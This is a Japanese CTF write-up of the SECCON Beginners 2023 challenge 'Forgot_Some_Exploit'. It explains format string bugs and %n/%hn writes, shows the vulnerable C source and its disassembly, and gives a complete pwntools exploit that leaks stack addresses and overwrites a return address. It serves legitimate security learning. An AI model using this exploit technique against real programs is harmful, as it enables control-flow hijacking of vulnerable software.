まえがき
6月の3日4日に開催された、SECCON Beginners CTF 2023に参加しました。その後、復習しています。今回は、その中でもpwnableのForgot_Some_Exploitを題材にFormat String Bugについて勉強したので備忘録として投稿しようと思います。原理の点からflag取得のスクリプト作成まで行います。なにか間違いなどありましたらご指摘いただけると幸いです。
問題について
問題は、前述したとおりSECCON Beginners CTF 2023で出題された、pwnableのForgot_Some_Exploitです。配られたファイルには、challという実行ファイルとそのソースコードであるsrc.cが入っていました。src.cを眺めると以下のような内容です。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#define BUFSIZE 0x100
void win() {
FILE *f = fopen("flag.txt", "r");
if (!f)
err(1, "Flag file not found...\n");
for (char c = fgetc(f); c != EOF; c = fgetc(f))
putchar(c);
}
void echo() {
char buf[BUFSIZE];
buf[read(0, buf, BUFSIZE-1)] = 0;
printf(buf);
buf[read(0, buf, BUFSIZE-1)] = 0;
printf(buf);
}
int main() {
echo();
puts("Bye!");
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
中身を見ていくと、2回入力を受け取りそれをそのまま表示するだけの簡単なプログラムです。しかし、bufに書き込んだ情報を表示するときのprintf関数への引数の渡し方が、
printf(buf)
となっていて、Format String Bugの脆弱性がありFormat String Attack(書式文字列攻撃)ができることがわかります。問題としては、その脆弱性を突くことによりプログラムの遷移を、本来なら遷移することのないwin関数に移すことでflagを手に入れることになります。
Format String Bugについて
Format String Bugは、printf関数のようにフォーマット指定子を用いる関数で文字列を表示するときに、第1引数にユーザー定義の文字列のポインタをそのまま渡してしまうと、起こる脆弱性です。これがあると、スタックの値を見たり、また、アセンブリ言語にしたときのcall命令でpushされるリターンのアドレスを改竄することで、任意のポイントに処理を遷移させることが可能になります。
C言語でのprintf関数について
ところで、printf関数は可変長引数(引数の数が決まっていない)の関数です。そして、引数がいくつあるかに関してチェックする機構はありません。
#include<stdio.h>
void main()
{
char name[] = "hogehoge";
int price = 1000;
printf("商品名は%sで、価格は%dです。",name,price);
}
上記のプログラムを実行するとき、printf関数は第一引数である、 "商品名は%sで、価格は%dです。" を順番に表示していき、%sなどのフォーマット指定子を見つけると、その都度それよりあとの引数を参照します。1つ目のフォーマット指定子であれば第2引数を、2つ目のフォーマット指定子であれば第3引数を、といった形で参照していきます。上記の例でいえば、%sを見つけ第2引数のnameを参照し、その後%dを見つけると、priceを参照します。
また、フォーマット指定子の書き方で、%x$dといったように書くと、直接それがx番目のフォーマット指定子であると明示的に書くことができます。
#include<stdio.h>
void main()
{
int a = 1;
int b = 2;
int c = 3;
printf("%3$d %2$d %1$d\n",a,b,c);
}
出力結果
3 2 1
アセンブリ言語レベルでのprintf関数について
上記のプログラムが実際に動作するときのprintf関数の引数は、x86-64のアセンブリ言語レベルになると(アーキテクチャが異なると引数の渡し方などが変わるため都度アーキテクチャによって読み替えてください)、第1引数である "商品名は%sで、価格は%dです。"は、その文字列を格納したアドレスをrdiに、また、第2引数であるnameもそのアドレスをrsiに、そして、第3引数であるpriceはその値をrdxにといった形で、x86-64の呼出規則に沿って渡しています。上記のプログラムでは引数が3つだけだったためレジスタだけで足りますが、引数が7つ以上の場合は、スタックにpushすることで引数を渡します。
また、前述したとおりprintf関数には引数の数をチェックする機構が無いため、
#include<stdio.h>
void main()
{
printf("%d %d");
}
としても、コンパイルする際に注意が出ますが、プログラム自体は動きます。この場合、printf関数では1個目の%dを見つけると、第2引数が入っているはずのrsi(正確にはesi)を参照し、2個目の%dを見つけると、第3引数が格納されているはずのrdx(正確にはedx)を参照します。この場合はrsi、rdxどちらにもprintf関数の引数として値を代入していないため、これより前の処理のときに代入された値がそのまま流用され、表示される形になります。前述した通り、引数は7個目からスタックにpushすることで渡されるため、上記のプログラムで仮に%dが6個並んでいると、6個目の%dでは、現在のスタックのトップの値(rspの指すアドレスの値)が出力されます。
問題では、第1引数となる文字列はユーザーが入力したものをそのまま用いるため、ユーザーが入力した文字列に%pなどフォーマット指定子が混ざっていると、それによりrsiやrdx、またスタックの値を漏洩させることができます。
フォーマット指定子 %n について
それはそうと、フォーマット指定子は様々にありますが、その中に %n という指定子があります。これは普段あまり扱うことがありませんが、それまでの出力した文字数をカウントし、対応する引数の値をアドレスとしてそのアドレスにカウントした数値を代入するというものです。例えば、
#include<stdio.h>
#include<stdlib.h>
void main()
{
int* ptr;
ptr = calloc(1,sizeof(int));
printf("AAA%n\n",ptr);
printf("%d\n",*ptr);
}
というプログラムを動かすと、
AAA
3
が標準出力から得られます。これは、%nの前にAAAと3文字出力しているため、ptrの指すアドレスに3が代入されます。
Format string attackではこの機能を用いることで、任意のアドレスに任意の数値を挿入します。
問題の解法
以上の仕様を用いて問題では以下の方法でflagを入手します。
- 1回目の入力で、スタックのトップのアドレスと、echo関数がcall命令で呼び出されたときにスタックに積まれたリターンのアドレスを入手する。
- 2回目の入力で、1回目の入力の情報を元に、スタックに積まれたリターンのアドレスをwin関数に書き換える。
- リターンのアドレスを書き換えたためecho関数の終わりのret命令でwin関数に遷移しflagが得られる。
1回目の入力について
配布されたchallを逆アセンブルし、echo関数内を見てみると(必要部抜粋)
〜〜〜〜〜〜〜〜〜〜〜(略)〜〜〜〜〜〜〜〜〜〜〜〜〜
125d: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110]
1264: ba ff 00 00 00 mov edx,0xff
1269: 48 89 c6 mov rsi,rax
126c: bf 00 00 00 00 mov edi,0x0
1271: e8 1a fe ff ff call 1090 <read@plt>
1276: c6 84 05 f0 fe ff ff mov BYTE PTR [rbp+rax*1-0x110],0x0
127d: 00
127e: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110]
1285: 48 89 c7 mov rdi,rax
1288: b8 00 00 00 00 mov eax,0x0
128d: e8 ce fd ff ff call 1060 <printf@plt>
〜〜〜〜〜〜〜〜〜〜〜(略)〜〜〜〜〜〜〜〜〜〜〜〜〜
となっており、アドレス 0x128d でprintf関数がcallされる時点の第2引数であるrsiの値は、その前のread関数の第2引数として代入された[rbp-0x110](bufの先頭アドレスで今回だとスタックトップのアドレス)となったままであり、入力に %1\$lx を含ませると、スタックトップのアドレスを入手することができます。
また、今回のプログラムではスタックの構造が
+-------------+ <= rsp
| buf | <= 256byte
+-------------+
| | <= 8byte
+-------------+
| canary | <= 8byte
+-------------+
| | <= 8byte
+-------------+
| return addr | <= 8byte
+-------------+
であるため、printf関数の第42引数の位置にecho関数を抜けたあとのリターンアドレス(具体的には、main関数内でのecho関数がcallされた次の命令のアドレス)が存在しているので、入力に %41\$lx を含ませると、リターンのアドレスを入手することができます。
以上のように、%1\$lx %41\$lx を入力することでスタックのトップのアドレスと、echo関数がcall命令で呼び出されたときにスタックに積まれたリターンのアドレスを入手します。
2回目の入力について
まず、challはPIEが有効であるため、はじめにwin関数の遷移させたいポイントのアドレスを計算しておく必要があり、challを逆アセンブルした結果をもう一度見ると
〜〜〜〜〜〜〜〜〜〜〜(略)〜〜〜〜〜〜〜〜〜〜〜〜〜
00000000000011c9 <win>:
11c9: 55 push rbp
11ca: 48 89 e5 mov rbp,rsp
11cd: 48 83 ec 10 sub rsp,0x10
11d1: 48 8d 05 2c 0e 00 00 lea rax,[rip+0xe2c]
〜〜〜〜〜〜〜〜〜〜〜(略)〜〜〜〜〜〜〜〜〜〜〜〜〜
00000000000012de <main>:
12de: 55 push rbp
12df: 48 89 e5 mov rbp,rsp
12e2: b8 00 00 00 00 mov eax,0x0
12e7: e8 57 ff ff ff call 1243 <echo>
12ec: 48 8d 05 34 0d 00 00 lea rax,[rip+0xd34]
〜〜〜〜〜〜〜〜〜〜〜(略)〜〜〜〜〜〜〜〜〜〜〜〜〜
であるため、1回目の入力から得られたリターンアドレスから遷移させたいアドレスの差分を(0x12ec - 0x11ca)引くことで、実際に遷移させる先のアドレスを計算することができます。(スタックの16byteアラインメントを考慮し、遷移先のアドレスは0x11c9ではなく、0x11ca)
また、リターンアドレスが格納されている場所のアドレスを計算する必要があります。スタックの状況をもう一度図に表すと
+-------------+ <= rsp
| buf | <= 256byte
+-------------+
| | <= 8byte
+-------------+
| canary | <= 8byte
+-------------+
| | <= 8byte
+-------------+ <= リターンアドレスが格納されている場所のアドレス
| return addr | <= 8byte
+-------------+
となっており、スタックトップのアドレスに240足したものがリターンアドレスが格納されている場所のアドレスとなっています。
これらの情報を用いて、2回目の入力を作成します。pythonのpwntoolライブラリにペイロードを作成してくれる便利な関数がありますが、理解を深めるのも兼ねて重要な部分について今回は1から作成していきます。
大まかな考え方としてフォーマット指定子 %n を用いて、予め計算したリターンアドレスが格納されているアドレスに、実際に遷移させる先のアドレスを書き込みます。今回はbufの大きさが十分にあるため、bufに書き込むときに予め計算したリターンアドレスが格納されているアドレスを一緒に書き込み、printf関数の引数として %x$n の形を用いて目的のアドレスにアクセスします。
例として、一回目の入力から得られたアドレスと、そこから計算されたアドレスが以下のとき、
スタックトップのアドレス = 0x7ffc98f9fd10
リターンアドレスが格納されている場所のアドレス = 0x7ffc98f9fe28
echo関数を抜けたあとのリターンアドレス = 0x55bd731af2ec
実際に遷移させたい先のアドレス = 0x55bd731af1ca
このとき、スタックが下の図のようになるように入力する必要があります。
address | paramater | memo | %(x)$nでのxの値
+----------------+----------------+-----------+----------
| 0x7ffc98f9fd10 | ペイロード | buf | 6
+----------------+----------------+-----------+----------
〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜 (略)〜〜〜〜〜〜〜〜〜〜〜〜〜
+----------------+----------------+-----------+----------
| 0x7ffc98f9fd48 | ペイロード | buf | 13
+----------------+----------------+-----------+----------
| 0x7ffc98f9fd50 | 0x7ffc98f9fe28 | buf | 14
+----------------+----------------+-----------+----------
| 0x7ffc98f9fd58 | 0x7ffc98f9fe2a | buf | 15
+----------------+----------------+-----------+----------
| 0x7ffc98f9fd60 | 0x7ffc98f9fe2c | buf | 16
+----------------+----------------+-----------+----------
| 0x7ffc98f9fd68 | 0x7ffc98f9fe2e | buf | 17
+----------------+----------------+-----------+----------
〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜 (略)〜〜〜〜〜〜〜〜〜〜〜〜〜
+----------------+----------------+-----------+----------
| 0x7ffc98f9fe20 | | | 40
+----------------+----------------+-----------+----------
| 0x7ffc98f9fe28 | 0x55bd731af2ec | ret addr | 41
+----------------+----------------+-----------+----------
ここで、注意しないといけない点として、アドレスを書き込む際にペイロードを94272168325578(=0x55bd731af1ca)を用いて、( %(x)cは x 文字分、空文字吐き出させることができる)
%94272168325578%14$n
で問題ないように思えるのですが、そうするとprintf関数が94272168325578文字分、空文字を吐き出すことになるため、単純に時間がかかりすぎてエラーになります。そのため、アドレスを4分割し書き込むことでアドレスを書き換える必要があります(%hnとすることで2byteだけ書き込むことができる)。また、このとき %n はそのprintf関数内での出力した文字数の合計を書き込むことを注意しておく必要があり、今回の場合、まず初めに61898(=0xf1ca)個文字を吐き出させたあと、アドレス 0x7ffc98f9fe28 に2byte書き込み、その後、これまでに出力した文字の合計が、0x731a個(mod 0x10000)になるように文字を吐き出させ、アドレス 0x7ffc98f9fe2a に2byte書き込み、以後これを繰り返します。そうすると、ペイロードは以下のようになります。
%61898c%14$hn%33104c%15$hn%58019c%16$hn%43587c%17$hn
そして、%14$hn としたときに、目的のアドレスを参照できるようにペイロードの大きさを64byteに固定しているので、ペイロードの大きさを64byteになるようにpythonのljust関数などで\x00を詰め、その後ろに、0x7ffc98f9fe28、0x7ffc98f9fe2a、0x7ffc98f9fe2c、0x7ffc98f9fe2eを付けます。x86-64はリトルエンディアンなのでここはpwntoolのpack関数が便利です。これにより完成した入力する値が以下になります。
%61898c%14$hn%33104c%15$hn%58019c%16$hn%43587c%17$hn\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\xfe\xf9\x98\xfc\x7f\x00\x00*\xfe\xf9\x98\xfc\x7f\x00\x00,\xfe\xf9\x98\xfc\x7f\x00\x00.\xfe\xf9\x98\xfc\x7f\x00\x00
これを入力すると flag である ctf4b{4ny_w4y_y0u_w4nt_1t} が出力されました。
今回作成したプログラム(python)
Pythonを書き慣れていないので端々無理矢理やってます。読みづらくてすみません。
import pwn
#リターンアドレスから遷移させたいアドレスの差分を計算
diff = 0x12ec - 0x11ca
def exploit():
io = pwn.remote('forgot-some-exploit.beginners.seccon.games',9002)
#1つ目の入力
msg = b'%1$016lx%41$016lx'
io.send(msg)
recv = io.recvrepeat(0.5)
#返ってきた値からスタックトップのアドレスとリターンのアドレスを取得
rsp = int(recv[0:16].decode('utf8'),16)
addr_ret = int(recv[17:33].decode('utf8'),16)
#実際に遷移させたいwin関数のアドレスを計算
addr_win = addr_ret - diff
#リターンアドレスが格納されている場所のアドレスを計算
arg41 = rsp + 35 * 0x8
#以下2つめの入力の作成
#2つ目の入力の後半の部分を作成
msg_addr_part = b''
msg_addr_part += pwn.pack(arg41,word_size=64)
msg_addr_part += pwn.pack(arg41+2,word_size=64)
msg_addr_part += pwn.pack(arg41+4,word_size=64)
msg_addr_part += pwn.pack(arg41+6,word_size=64)
#2つ目の入力の前半の部分を作成
#_4から下位ビット2byteずつ
_addr_win = addr_win
addr_win_4 = _addr_win % 0x10000
_addr_win = int(_addr_win / 0x10000)
addr_win_3 = _addr_win % 0x10000
_addr_win = int(_addr_win / 0x10000)
addr_win_2 = _addr_win % 0x10000
_addr_win = int(_addr_win / 0x10000)
addr_win_1 = _addr_win % 0x10000
sum = addr_win_4
num = addr_win_4
msg_exploit_part = b'%'+str(num).encode()+b'c%14$hn'
if sum % 0x10000 <= addr_win_3:
num = addr_win_3 - sum % 0x10000
else:
num = addr_win_3 + 0x10000 - sum % 0x10000
sum += num
msg_exploit_part += b'%'+str(num).encode()+b'c%15$hn'
if sum % 0x10000 <= addr_win_2:
num = addr_win_2 - sum % 0x10000
else:
num = addr_win_2 + 0x10000 - sum % 0x10000
sum += num
msg_exploit_part += b'%'+str(num).encode()+b'c%16$hn'
if sum % 0x10000 <= addr_win_1:
num = addr_win_1 - sum % 0x10000
else:
num = addr_win_1 + 0x10000 - sum % 0x10000
sum += num
msg_exploit_part += b'%'+str(num).encode()+b'c%17$hn'
#64ビットになるように揃える
msg_exploit_part = msg_exploit_part.ljust(64,b'\x00')
#前半部と後半部を結合
msg = msg_exploit_part + msg_addr_part
io.send(msg)
recv = io.recvall()
print(recv)
print('======================INFORMATION======================================')
print(f'rsp = {hex(rsp)}')
print(f'addr_ret = {hex(addr_ret)}')
print(f'addr win = {hex(addr_win)}')
print(f'arg41 = {hex(arg41)}')
print(f'addr_win = [{hex(addr_win_1)}],[{hex(addr_win_2)}],[{hex(addr_win_3)}],[{hex(addr_win_4)}]')
print(f'msg_addr_part = {msg_addr_part}')
print(f'msg = {msg}')
print('=======================================================================')
if __name__=='__main__':
exploit()
実行すると以下の出力を得ることができます。
〜〜〜〜〜〜〜〜〜〜〜上部は長いので省略〜〜〜〜〜〜〜〜〜〜〜
ctf4b{4ny_w4y_y0u_w4nt_1t}\n'
======================INFORMATION======================================
rsp = 0x7fff3eaf1b40
addr_ret = 0x5621937802ec
addr win = 0x5621937801ca
arg41 = 0x7fff3eaf1c58
addr_win = [0x0],[0x5621],[0x9378],[0x1ca]
msg_addr_part = b'X\x1c\xaf>\xff\x7f\x00\x00Z\x1c\xaf>\xff\x7f\x00\x00\\\x1c\xaf>\xff\x7f\x00\x00^\x1c\xaf>\xff\x7f\x00\x00'
msg = b'%458c%14$hn%37294c%15$hn%49833c%16$hn%43487c%17$hn\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x1c\xaf>\xff\x7f\x00\x00Z\x1c\xaf>\xff\x7f\x00\x00\\\x1c\xaf>\xff\x7f\x00\x00^\x1c\xaf>\xff\x7f\x00\x00'
=======================================================================